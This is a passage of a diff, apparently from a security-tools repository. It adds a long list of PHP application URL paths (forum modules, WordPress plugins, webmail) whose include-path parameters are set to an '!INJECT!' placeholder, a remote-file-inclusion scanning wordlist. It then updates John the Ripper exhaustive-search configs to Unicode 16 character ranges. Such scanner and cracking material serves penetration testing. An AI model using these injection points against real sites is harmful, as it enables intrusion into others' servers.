+/web/BetaBlockModules/GroupForumModule/GroupForumModule.php?path_prefix!INJECT!
+/web/BetaBlockModules/GroupForumPermalinkModule/GroupForumPermalinkModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/GroupModerateContentModule/GroupModerateContentModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/GroupModerateUserModule/GroupModerateUserModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/GroupModerationModule/GroupModerationModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/GroupsCategoryModule/GroupsCategoryModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/GroupsDirectoryModule/GroupsDirectoryModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/ImagesMediaGalleryModule/ImagesMediaGalleryModule.php?current_blockmodule_path!INJECT!
+/web/BetaBlockModules/ImagesModule/ImagesModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/InvitationStatusModule/InvitationStatusModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/LargestGroupsModule/LargestGroupsModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/LinksModule/LinksModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/LoginModule/remoteauth_functions.php?path_prefix=!INJECT!
+/web/BetaBlockModules/LogoModule/LogoModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/MediaFullViewModule/MediaFullViewModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/MediaManagementModule/MediaManagementModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/MembersFacewallModule/MembersFacewallModule.php?current_blockmodule_path!INJECT!
+/web/BetaBlockModules/MessageModule/MessageModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/ModuleSelectorModule/ModuleSelectorModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/MyGroupsModule/MyGroupsModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/MyLinksModule/MyLinksModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/MyNetworksModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/NetworkAnnouncementModule/NetworkAnnouncementModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/NetworkDefaultControlModule/NetworkDefaultControlModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/NetworkDefaultLinksModule/NetworkDefaultLinksModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/NetworkModerateUserModule/NetworkModerateUserModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/NetworkResultContentModule/NetworkResultContentModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/NetworkResultUserModule/NetworkResultUserModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/NetworksDirectoryModule/NetworksDirectoryModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/NewestGroupsModule/NewestGroupsModule.php?current_blockmodule_path!INJECT!
+/web/BetaBlockModules/PeopleModule/PeopleModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/PopularTagsModule/PopularTagsModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/PostContentModule/PostContentModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/ProfileFeedModule/ProfileFeedModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/RecentCommentsModule/RecentCommentsModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/RecentPostModule/RecentPostModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/RecentTagsModule/RecentTagsModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/RegisterModule/RegisterModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/SearchGroupsModule/SearchGroupsModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/ShowAnnouncementModule/ShowAnnouncementModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/ShowContentModule/ShowContentModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/TakerATourModule/TakerATourModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/UploadMediaModule/UploadMediaModule.php?current_blockmodule_path!INJECT!
+/web/BetaBlockModules/UserMessagesModule/UserMessagesModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/UserPhotoModule/UserPhotoModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/VideosMediaGalleryModule/VideosMediaGalleryModule.php?current_blockmodule_path!INJECT!
+/web/BetaBlockModules/ViewAllMembersModule/ViewAllMembersModule.php?path_prefix=!INJECT!
+/web/Flickrclient.php?path_prefix=!INJECT!
+/web/help.php?LIBSDIR=!INJECT!
+/web/includes/blogger.php?path_prefix=!INJECT!
+/web/includes/functions/auto_email_notify.php?path_prefix=!INJECT!
+/web/includes/functions/html_generate.php?path_prefix=!INJECT!
+/web/includes/functions/validations.php?path_prefix=!INJECT!
+/web/index.php?LIBSDIR=!INJECT!
+/web/lib/xml/oai/ListRecords.php?xml_dir=!INJECT!
+/web/login.php?LIBSDIR=!INJECT!
+/web/logout.php?LIBSDIR=!INJECT!
+/web/lom.php?ETCDIR=!INJECT!
+/web/network_module_selector.php?path_prefix=!INJECT!
+/web/submit_abuse.php?path_prefix=!INJECT!
+/web/submit_comment.php?path_prefix=!INJECT!
+/webavis/class/class.php?root=!INJECT!?
+/webmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=!INJECT!
+/webnews/template.php?content_page=!INJECT!?
+/webroot/css.php?CONFIGS=!INJECT!
+/webyep-system/program/lib/WYURL.php?webyep_sIncludePath=!INJECT!
+/webyep-system/programm/webyep.php?webyep_sIncludePath=!INJECT!?
+/window.php?action=!INJECT!
+/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=!INJECT!?
+/work/index.php?g_include=!INJECT!
+/work/module/forum/forum.php?g_include=!INJECT!
+/worldpay_notify.php?mosConfig_absolute_path=!INJECT!
+/wp-cache-phase1.php?plugin=!INJECT!
+/wp-content/plugins/dm-albums/template/album.php?SECURITY_FILE=!INJECT!
+/wp-content/plugins/myflash/myflash-button.php?wpPATH=!INJECT!
+/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=!INJECT!
+/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=!INJECT!
+/wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=!INJECT!?
+/wsk/wsk.php?wsk=!INJECT!
+/xarg_corner.php?xarg=!INJECT!?
+/xarg_corner_bottom.php?xarg=!INJECT!?
+/xarg_corner_top.php?xarg=!INJECT!?
+/xoopsgallery/init_basic.php?GALLERY_BASEDIR=!INJECT!?&2093085906=1&995617320=2
+/xt_counter.php?server_base_dir=!INJECT!
+/yabbse/Sources/Packages.php?sourcedir=!INJECT!
+/yacs/scripts/update_trailer.php?context[path_to_root]=!INJECT!?
+/yrch/plugins/metasearch/plug.inc.php?path=!INJECT!
+/ytb/cuenta/cuerpo.php?base_archivo=!INJECT!
+/zipndownload.php?PP_PATH=!INJECT!?
+/zoomstats/libs/dbmax/mysql.php?GLOBALS['lib']['db']['path']=!INJECT!?

data/jtr/dumb16.conf

@@ -1,11 +1,11 @@
-# This  software is Copyright (c) 2012-2020 magnum, and it is hereby
+# This  software is Copyright (c) 2012-2024 magnum, and it is hereby
 # released to the general public under the following terms:
 # Redistribution and use in source and binary forms, with or without
 # modification, are permitted.
 #
 # Generic implementation of "dumb" exhaustive search of Unicode BMP.
-# Default is to try *all* allocated characters in the BMP of Unicode v13
-# (there's 55,387 of them). Even if a fast format can exhaust two characters
+# Default is to try *all* allocated characters in the BMP of Unicode v16
+# (there's 55,537 of them). Even if a fast format can exhaust two characters
 # in 15 minutes, three characters would take 1.5 years...
 #
 # Note that these modes will handle --max-len differently than normal: They
@@ -22,7 +22,7 @@ int maxlength;            // Maximum password length to try
 int last;                 // Last character position, zero-based
 int lastid;               // Character index in the last position
 int id[0x7f];             // Current character indices for other positions
-int charset[0x10000], c0; // Characters
+int charset[0xd900], c0;  // Characters
 
 void init()
 {
@@ -43,7 +43,7 @@ void init()
 
 /*
  * This defines the character set. This is auto-generated from UnicodeData.txt
- * and we skip control characters.
+ * of Unicode 16.0.0 and we skip control characters.
  */
 	i = 0;
 // 0000..007F; Basic Latin
@@ -119,9 +119,6 @@ void init()
 		charset[i++] = c++;
 // 0600..06FF; Arabic
 	c = 0x600;		// from ARABIC NUMBER SIGN
-	while (c <= 0x61c)	// ..to ARABIC LETTER MARK
-		charset[i++] = c++;
-	c = 0x61e;		// from ARABIC TRIPLE DOT PUNCTUATION MARK
 	while (c <= 0x6ff)	// ..to ARABIC LETTER HEH WITH INVERTED V
 		charset[i++] = c++;
 // 0700..074F; Syriac
@@ -163,14 +160,17 @@ void init()
 	c = 0x860;		// from SYRIAC LETTER MALAYALAM NGA
 	while (c <= 0x86a)	// ..to SYRIAC LETTER MALAYALAM SSA
 		charset[i++] = c++;
+// 0870..089F; Arabic Extended-B
+	c = 0x870;		// from ARABIC LETTER ALEF WITH ATTACHED FATHA
+	while (c <= 0x88e)	// ..to ARABIC VERTICAL TAIL
+		charset[i++] = c++;
+	charset[i++] = 0x890;	// ARABIC POUND MARK ABOVE
+	charset[i++] = 0x891;	// ARABIC PIASTRE MARK ABOVE
+	c = 0x897;		// from ARABIC PEPET
+	while (c <= 0x89f)	// ..to ARABIC HALF MADDA OVER MADDA
+		charset[i++] = c++;
 // 08A0..08FF; Arabic Extended-A
 	c = 0x8a0;		// from ARABIC LETTER BEH WITH SMALL V BELOW
-	while (c <= 0x8b4)	// ..to ARABIC LETTER KAF WITH DOT BELOW
-		charset[i++] = c++;
-	c = 0x8b6;		// from ARABIC LETTER BEH WITH SMALL MEEM ABOVE
-	while (c <= 0x8c7)	// ..to ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE
-		charset[i++] = c++;
-	c = 0x8d3;		// from ARABIC SMALL LOW WAW
 	while (c <= 0x8ff)	// ..to ARABIC MARK SIDEWAYS NOON GHUNNA
 		charset[i++] = c++;
 // 0900..097F; Devanagari
@@ -360,7 +360,7 @@ void init()
 	c = 0xc2a;		// from TELUGU LETTER PA
 	while (c <= 0xc39)	// ..to TELUGU LETTER HA
 		charset[i++] = c++;
-	c = 0xc3d;		// from TELUGU SIGN AVAGRAHA
+	c = 0xc3c;		// from TELUGU SIGN NUKTA
 	while (c <= 0xc44)	// ..to TELUGU VOWEL SIGN VOCALIC RR
 		charset[i++] = c++;
 	charset[i++] = 0xc46;	// TELUGU VOWEL SIGN E
@@ -406,6 +406,8 @@ void init()
 		charset[i++] = c++;
 	charset[i++] = 0xcd5;	// KANNADA LENGTH MARK
 	charset[i++] = 0xcd6;	// KANNADA AI LENGTH MARK
+	charset[i++] = 0xcdd;	// KANNADA LETTER NAKAARA POLLU
+	charset[i++] = 0xcde;	// KANNADA LETTER FA
 	c = 0xce0;		// from KANNADA LETTER VOCALIC RR
 	while (c <= 0xce3)	// ..to KANNADA VOWEL SIGN VOCALIC LL
 		charset[i++] = c++;
@@ -413,7 +415,7 @@ void init()
 	while (c <= 0xcef)	// ..to KANNADA DIGIT NINE
 		charset[i++] = c++;
 	charset[i++] = 0xcf1;	// KANNADA SIGN JIHVAMULIYA
-	charset[i++] = 0xcf2;	// KANNADA SIGN UPADHMANIYA
+	charset[i++] = 0xcf3;	// KANNADA SIGN COMBINING ANUSVARA ABOVE RIGHT
 // 0D00..0D7F; Malayalam
 	c = 0xd00;		// from MALAYALAM SIGN COMBINING ANUSVARA ABOVE
 	while (c <= 0xd0c)	// ..to MALAYALAM LETTER VOCALIC L
@@ -483,7 +485,7 @@ void init()
 	while (c <= 0xec4)	// ..to LAO VOWEL SIGN AI
 		charset[i++] = c++;
 	c = 0xec8;		// from LAO TONE MAI EK
-	while (c <= 0xecd)	// ..to LAO NIGGAHITA
+	while (c <= 0xece)	// ..to LAO YAMAKKAN
 		charset[i++] = c++;
 	c = 0xed0;		// from LAO DIGIT ZERO
 	while (c <= 0xed9)	// ..to LAO DIGIT NINE
@@ -596,11 +598,9 @@ void init()
 		charset[i++] = c++;
 // 1700..171F; Tagalog
 	c = 0x1700;		// from TAGALOG LETTER A
-	while (c <= 0x170c)	// ..to TAGALOG LETTER YA
-		charset[i++] = c++;
-	c = 0x170e;		// from TAGALOG LETTER LA
-	while (c <= 0x1714)	// ..to TAGALOG SIGN VIRAMA
+	while (c <= 0x1715)	// ..to TAGALOG SIGN PAMUDPOD
 		charset[i++] = c++;
+	charset[i++] = 0x171f;	// TAGALOG LETTER ARCHAIC RA
 // 1720..173F; Hanunoo
 	c = 0x1720;		// from HANUNOO LETTER A
 	while (c <= 0x1736)	// ..to PHILIPPINE DOUBLE PUNCTUATION
@@ -629,9 +629,6 @@ void init()
 		charset[i++] = c++;
 // 1800..18AF; Mongolian
 	c = 0x1800;		// from MONGOLIAN BIRGA
-	while (c <= 0x180e)	// ..to MONGOLIAN VOWEL SEPARATOR
-		charset[i++] = c++;
-	c = 0x1810;		// from MONGOLIAN DIGIT ZERO
 	while (c <= 0x1819)	// ..to MONGOLIAN DIGIT NINE
 		charset[i++] = c++;
 	c = 0x1820;		// from MONGOLIAN LETTER A
@@ -704,14 +701,14 @@ void init()
 		charset[i++] = c++;
 // 1AB0..1AFF; Combining Diacritical Marks Extended
 	c = 0x1ab0;		// from COMBINING DOUBLED CIRCUMFLEX ACCENT
-	while (c <= 0x1ac0)	// ..to COMBINING LATIN SMALL LETTER TURNED W BELOW
+	while (c <= 0x1ace)	// ..to COMBINING LATIN SMALL LETTER INSULAR T
 		charset[i++] = c++;
 // 1B00..1B7F; Balinese
 	c = 0x1b00;		// from BALINESE SIGN ULU RICEM
-	while (c <= 0x1b4b)	// ..to BALINESE LETTER ASYURA SASAK
+	while (c <= 0x1b4c)	// ..to BALINESE LETTER ARCHAIC JNYA
 		charset[i++] = c++;
-	c = 0x1b50;		// from BALINESE DIGIT ZERO
-	while (c <= 0x1b7c)	// ..to BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
+	c = 0x1b4e;		// from BALINESE INVERTED CARIK SIKI
+	while (c <= 0x1b7f)	// ..to BALINESE PANTI BAWAK
 		charset[i++] = c++;
 // 1B80..1BBF; Sundanese
 	c = 0x1b80;		// from SUNDANESE SIGN PANYECEK
@@ -739,7 +736,7 @@ void init()
 		charset[i++] = c++;
 // 1C80..1C8F; Cyrillic Extended-C
 	c = 0x1c80;		// from CYRILLIC SMALL LETTER ROUNDED VE
-	while (c <= 0x1c88)	// ..to CYRILLIC SMALL LETTER UNBLENDED UK
+	while (c <= 0x1c8a)	// ..to CYRILLIC SMALL LETTER TJE
 		charset[i++] = c++;
 // 1C90..1CBF; Georgian Extended
 	c = 0x1c90;		// from GEORGIAN MTAVRULI CAPITAL LETTER AN
@@ -765,9 +762,6 @@ void init()
 		charset[i++] = c++;
 // 1DC0..1DFF; Combining Diacritical Marks Supplement
 	c = 0x1dc0;		// from COMBINING DOTTED GRAVE ACCENT
-	while (c <= 0x1df9)	// ..to COMBINING WIDE INVERTED BRIDGE BELOW
-		charset[i++] = c++;
-	c = 0x1dfb;		// from COMBINING DELETION MARK
 	while (c <= 0x1dff)	// ..to COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 		charset[i++] = c++;
 // 1E00..1EFF; Latin Extended Additional
@@ -831,7 +825,7 @@ void init()
 		charset[i++] = c++;
 // 20A0..20CF; Currency Symbols
 	c = 0x20a0;		// from EURO-CURRENCY SIGN
-	while (c <= 0x20bf)	// ..to BITCOIN SIGN
+	while (c <= 0x20c0)	// ..to SOM SIGN
 		charset[i++] = c++;
 // 20D0..20FF; Combining Diacritical Marks for Symbols
 	c = 0x20d0;		// from COMBINING LEFT HARPOON ABOVE
@@ -859,7 +853,7 @@ void init()
 		charset[i++] = c++;
 // 2400..243F; Control Pictures
 	c = 0x2400;		// from SYMBOL FOR NULL
-	while (c <= 0x2426)	// ..to SYMBOL FOR SUBSTITUTE FORM TWO
+	while (c <= 0x2429)	// ..to SYMBOL FOR DELETE MEDIUM SHADE FORM
 		charset[i++] = c++;
 // 2440..245F; Optical Character Recognition
 	c = 0x2440;		// from OCR HOOK
@@ -925,10 +919,7 @@ void init()
 		charset[i++] = c++;
 // 2C00..2C5F; Glagolitic
 	c = 0x2c00;		// from GLAGOLITIC CAPITAL LETTER AZU
-	while (c <= 0x2c2e)	// ..to GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
-		charset[i++] = c++;
-	c = 0x2c30;		// from GLAGOLITIC SMALL LETTER AZU
-	while (c <= 0x2c5e)	// ..to GLAGOLITIC SMALL LETTER LATINATE MYSLITE
+	while (c <= 0x2c5f)	// ..to GLAGOLITIC SMALL LETTER CAUDATE CHRIVI
 		charset[i++] = c++;
 // 2C60..2C7F; Latin Extended-C
 	c = 0x2c60;		// from LATIN CAPITAL LETTER L WITH DOUBLE BAR
@@ -989,7 +980,7 @@ void init()
 		charset[i++] = c++;
 // 2E00..2E7F; Supplemental Punctuation
 	c = 0x2e00;		// from RIGHT ANGLE SUBSTITUTION MARKER
-	while (c <= 0x2e52)	// ..to TIRONIAN SIGN CAPITAL ET
+	while (c <= 0x2e5d)	// ..to OBLIQUE HYPHEN
 		charset[i++] = c++;
 // 2E80..2EFF; CJK Radicals Supplement
 	c = 0x2e80;		// from CJK RADICAL REPEAT
@@ -1004,7 +995,7 @@ void init()
 		charset[i++] = c++;
 // 2FF0..2FFF; Ideographic Description Characters
 	c = 0x2ff0;		// from IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT
-	while (c <= 0x2ffb)	// ..to IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
+	while (c <= 0x2fff)	// ..to IDEOGRAPHIC DESCRIPTION CHARACTER ROTATION
 		charset[i++] = c++;
 // 3000..303F; CJK Symbols and Punctuation
 	c = 0x3000;		// from IDEOGRAPHIC SPACE
@@ -1039,8 +1030,9 @@ void init()
 		charset[i++] = c++;
 // 31C0..31EF; CJK Strokes
 	c = 0x31c0;		// from CJK STROKE T
-	while (c <= 0x31e3)	// ..to CJK STROKE Q
+	while (c <= 0x31e5)	// ..to CJK STROKE SZP
 		charset[i++] = c++;
+	charset[i++] = 0x31ef;	// IDEOGRAPHIC DESCRIPTION CHARACTER SUBTRACTION
 // 31F0..31FF; Katakana Phonetic Extensions
 	c = 0x31f0;		// from KATAKANA LETTER SMALL KU
 	while (c <= 0x31ff)	// ..to KATAKANA LETTER SMALL RO
@@ -1066,7 +1058,7 @@ void init()
 		charset[i++] = c++;
 // 4E00..9FFF; CJK Unified Ideographs
 	c = 0x4e00;		// from <CJK Ideograph, First>
-	while (c <= 0x9ffc)	// ..to <CJK Ideograph, Last>
+	while (c <= 0x9fff)	// ..to <CJK Ideograph, Last>
 		charset[i++] = c++;
 // A000..A48F; Yi Syllables
 	c = 0xa000;		// from YI SYLLABLE IT
@@ -1098,12 +1090,14 @@ void init()
 		charset[i++] = c++;
 // A720..A7FF; Latin Extended-D
 	c = 0xa720;		// from MODIFIER LETTER STRESS AND HIGH TONE
-	while (c <= 0xa7bf)	// ..to LATIN SMALL LETTER GLOTTAL U
+	while (c <= 0xa7cd)	// ..to LATIN SMALL LETTER S WITH DIAGONAL STROKE
 		charset[i++] = c++;
-	c = 0xa7c2;		// from LATIN CAPITAL LETTER ANGLICANA W
-	while (c <= 0xa7ca)	// ..to LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
+	charset[i++] = 0xa7d0;	// LATIN CAPITAL LETTER CLOSED INSULAR G
+	charset[i++] = 0xa7d1;	// LATIN SMALL LETTER CLOSED INSULAR G
+	c = 0xa7d5;		// from LATIN SMALL LETTER DOUBLE WYNN
+	while (c <= 0xa7dc)	// ..to LATIN CAPITAL LETTER LAMBDA WITH STROKE
 		charset[i++] = c++;
-	c = 0xa7f5;		// from LATIN CAPITAL LETTER REVERSED HALF H
+	c = 0xa7f2;		// from MODIFIER LETTER CAPITAL C
 	while (c <= 0xa7ff)	// ..to LATIN EPIGRAPHIC LETTER ARCHAIC M
 		charset[i++] = c++;
 // A800..A82F; Syloti Nagri
@@ -1258,19 +1252,16 @@ void init()
 		charset[i++] = c++;
 // FB50..FDFF; Arabic Presentation Forms-A
 	c = 0xfb50;		// from ARABIC LETTER ALEF WASLA ISOLATED FORM
-	while (c <= 0xfbc1)	// ..to ARABIC SYMBOL SMALL TAH BELOW
+	while (c <= 0xfbc2)	// ..to ARABIC SYMBOL WASLA ABOVE
 		charset[i++] = c++;
 	c = 0xfbd3;		// from ARABIC LETTER NG ISOLATED FORM
-	while (c <= 0xfd3f)	// ..to ORNATE RIGHT PARENTHESIS
-		charset[i++] = c++;
-	c = 0xfd50;		// from ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM
 	while (c <= 0xfd8f)	// ..to ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
 		charset[i++] = c++;
 	c = 0xfd92;		// from ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM
 	while (c <= 0xfdc7)	// ..to ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
 		charset[i++] = c++;
 	c = 0xfdf0;		// from ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM
-	while (c <= 0xfdfd)	// ..to ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
+	while (c <= 0xfdff)	// ..to ARABIC LIGATURE AZZA WA JALL
 		charset[i++] = c++;
 // FE00..FE0F; Variation Selectors
 	c = 0xfe00;		// from VARIATION SELECTOR-1

data/jtr/dumb32.conf

@@ -1,11 +1,11 @@
-# This  software is Copyright (c) 2012-2020 magnum, and it is hereby
+# This  software is Copyright (c) 2012-2024 magnum, and it is hereby
 # released to the general public under the following terms:
 # Redistribution and use in source and binary forms, with or without
 # modification, are permitted.
 #
 # Generic implementation of "dumb" exhaustive search of FULL Unicode.
-# Default is to try *all* allocated characters in Unicode v13 (there's
-# 143,532 of them). Even if a fast format can exhaust two characters in one
+# Default is to try *all* allocated characters in Unicode v16 (there's
+# 154,663 of them). Even if a fast format can exhaust two characters in one
 # hour, three characters would take 12 years...
 #
 # Note that these modes will handle --max-len differently than normal: They
@@ -27,7 +27,7 @@ int maxlength;            // Maximum password length to try
 int last;                 // Last character position, zero-based
 int lastid;               // Character index in the last position
 int id[0x7f];             // Current character indices for other positions
-int charset[0x24000], c0; // Characters
+int charset[0x25c30], c0; // Characters
 
 void init()
 {
@@ -48,7 +48,7 @@ void init()
 
 /*
  * This defines the character set. This is auto-generated from UnicodeData.txt
- * and we skip control characters.
+ * of Unicode 16.0.0 and we skip control characters.
  */
 	i = 0;
 // 0000..007F; Basic Latin
@@ -124,9 +124,6 @@ void init()
 		charset[i++] = c++;
 // 0600..06FF; Arabic
 	c = 0x600;		// from ARABIC NUMBER SIGN
-	while (c <= 0x61c)	// ..to ARABIC LETTER MARK
-		charset[i++] = c++;
-	c = 0x61e;		// from ARABIC TRIPLE DOT PUNCTUATION MARK
 	while (c <= 0x6ff)	// ..to ARABIC LETTER HEH WITH INVERTED V
 		charset[i++] = c++;
 // 0700..074F; Syriac
@@ -168,14 +165,17 @@ void init()
 	c = 0x860;		// from SYRIAC LETTER MALAYALAM NGA
 	while (c <= 0x86a)	// ..to SYRIAC LETTER MALAYALAM SSA
 		charset[i++] = c++;
+// 0870..089F; Arabic Extended-B
+	c = 0x870;		// from ARABIC LETTER ALEF WITH ATTACHED FATHA
+	while (c <= 0x88e)	// ..to ARABIC VERTICAL TAIL
+		charset[i++] = c++;
+	charset[i++] = 0x890;	// ARABIC POUND MARK ABOVE
+	charset[i++] = 0x891;	// ARABIC PIASTRE MARK ABOVE
+	c = 0x897;		// from ARABIC PEPET
+	while (c <= 0x89f)	// ..to ARABIC HALF MADDA OVER MADDA
+		charset[i++] = c++;
 // 08A0..08FF; Arabic Extended-A
 	c = 0x8a0;		// from ARABIC LETTER BEH WITH SMALL V BELOW
-	while (c <= 0x8b4)	// ..to ARABIC LETTER KAF WITH DOT BELOW
-		charset[i++] = c++;
-	c = 0x8b6;		// from ARABIC LETTER BEH WITH SMALL MEEM ABOVE
-	while (c <= 0x8c7)	// ..to ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE
-		charset[i++] = c++;
-	c = 0x8d3;		// from ARABIC SMALL LOW WAW
 	while (c <= 0x8ff)	// ..to ARABIC MARK SIDEWAYS NOON GHUNNA
 		charset[i++] = c++;
 // 0900..097F; Devanagari
@@ -365,7 +365,7 @@ void init()
 	c = 0xc2a;		// from TELUGU LETTER PA
 	while (c <= 0xc39)	// ..to TELUGU LETTER HA
 		charset[i++] = c++;
-	c = 0xc3d;		// from TELUGU SIGN AVAGRAHA
+	c = 0xc3c;		// from TELUGU SIGN NUKTA
 	while (c <= 0xc44)	// ..to TELUGU VOWEL SIGN VOCALIC RR
 		charset[i++] = c++;
 	charset[i++] = 0xc46;	// TELUGU VOWEL SIGN E
@@ -411,6 +411,8 @@ void init()
 		charset[i++] = c++;
 	charset[i++] = 0xcd5;	// KANNADA LENGTH MARK
 	charset[i++] = 0xcd6;	// KANNADA AI LENGTH MARK
+	charset[i++] = 0xcdd;	// KANNADA LETTER NAKAARA POLLU
+	charset[i++] = 0xcde;	// KANNADA LETTER FA
 	c = 0xce0;		// from KANNADA LETTER VOCALIC RR
 	while (c <= 0xce3)	// ..to KANNADA VOWEL SIGN VOCALIC LL
 		charset[i++] = c++;
@@ -418,7 +420,7 @@ void init()
 	while (c <= 0xcef)	// ..to KANNADA DIGIT NINE
 		charset[i++] = c++;
 	charset[i++] = 0xcf1;	// KANNADA SIGN JIHVAMULIYA
-	charset[i++] = 0xcf2;	// KANNADA SIGN UPADHMANIYA
+	charset[i++] = 0xcf3;	// KANNADA SIGN COMBINING ANUSVARA ABOVE RIGHT
 // 0D00..0D7F; Malayalam
 	c = 0xd00;		// from MALAYALAM SIGN COMBINING ANUSVARA ABOVE
 	while (c <= 0xd0c)	// ..to MALAYALAM LETTER VOCALIC L
@@ -488,7 +490,7 @@ void init()
 	while (c <= 0xec4)	// ..to LAO VOWEL SIGN AI
 		charset[i++] = c++;
 	c = 0xec8;		// from LAO TONE MAI EK
-	while (c <= 0xecd)	// ..to LAO NIGGAHITA
+	while (c <= 0xece)	// ..to LAO YAMAKKAN
 		charset[i++] = c++;
 	c = 0xed0;		// from LAO DIGIT ZERO
 	while (c <= 0xed9)	// ..to LAO DIGIT NINE
@@ -601,11 +603,9 @@ void init()
 		charset[i++] = c++;
 // 1700..171F; Tagalog
 	c = 0x1700;		// from TAGALOG LETTER A
-	while (c <= 0x170c)	// ..to TAGALOG LETTER YA
-		charset[i++] = c++;
-	c = 0x170e;		// from TAGALOG LETTER LA
-	while (c <= 0x1714)	// ..to TAGALOG SIGN VIRAMA
+	while (c <= 0x1715)	// ..to TAGALOG SIGN PAMUDPOD
 		charset[i++] = c++;
+	charset[i++] = 0x171f;	// TAGALOG LETTER ARCHAIC RA
 // 1720..173F; Hanunoo
 	c = 0x1720;		// from HANUNOO LETTER A
 	while (c <= 0x1736)	// ..to PHILIPPINE DOUBLE PUNCTUATION
@@ -634,9 +634,6 @@ void init()
 		charset[i++] = c++;
 // 1800..18AF; Mongolian
 	c = 0x1800;		// from MONGOLIAN BIRGA
-	while (c <= 0x180e)	// ..to MONGOLIAN VOWEL SEPARATOR
-		charset[i++] = c++;
-	c = 0x1810;		// from MONGOLIAN DIGIT ZERO
 	while (c <= 0x1819)	// ..to MONGOLIAN DIGIT NINE
 		charset[i++] = c++;
 	c = 0x1820;		// from MONGOLIAN LETTER A
@@ -709,14 +706,14 @@ void init()
 		charset[i++] = c++;
 // 1AB0..1AFF; Combining Diacritical Marks Extended
 	c = 0x1ab0;		// from COMBINING DOUBLED CIRCUMFLEX ACCENT
-	while (c <= 0x1ac0)	// ..to COMBINING LATIN SMALL LETTER TURNED W BELOW
+	while (c <= 0x1ace)	// ..to COMBINING LATIN SMALL LETTER INSULAR T
 		charset[i++] = c++;
 // 1B00..1B7F; Balinese
 	c = 0x1b00;		// from BALINESE SIGN ULU RICEM
-	while (c <= 0x1b4b)	// ..to BALINESE LETTER ASYURA SASAK
+	while (c <= 0x1b4c)	// ..to BALINESE LETTER ARCHAIC JNYA
 		charset[i++] = c++;
-	c = 0x1b50;		// from BALINESE DIGIT ZERO
-	while (c <= 0x1b7c)	// ..to BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
+	c = 0x1b4e;		// from BALINESE INVERTED CARIK SIKI
+	while (c <= 0x1b7f)	// ..to BALINESE PANTI BAWAK
 		charset[i++] = c++;
 // 1B80..1BBF; Sundanese
 	c = 0x1b80;		// from SUNDANESE SIGN PANYECEK
@@ -744,7 +741,7 @@ void init()
 		charset[i++] = c++;
 // 1C80..1C8F; Cyrillic Extended-C
 	c = 0x1c80;		// from CYRILLIC SMALL LETTER ROUNDED VE
-	while (c <= 0x1c88)	// ..to CYRILLIC SMALL LETTER UNBLENDED UK
+	while (c <= 0x1c8a)	// ..to CYRILLIC SMALL LETTER TJE
 		charset[i++] = c++;
 // 1C90..1CBF; Georgian Extended
 	c = 0x1c90;		// from GEORGIAN MTAVRULI CAPITAL LETTER AN
@@ -770,9 +767,6 @@ void init()
 		charset[i++] = c++;
 // 1DC0..1DFF; Combining Diacritical Marks Supplement
 	c = 0x1dc0;		// from COMBINING DOTTED GRAVE ACCENT
-	while (c <= 0x1df9)	// ..to COMBINING WIDE INVERTED BRIDGE BELOW
-		charset[i++] = c++;
-	c = 0x1dfb;		// from COMBINING DELETION MARK
 	while (c <= 0x1dff)	// ..to COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 		charset[i++] = c++;
 // 1E00..1EFF; Latin Extended Additional
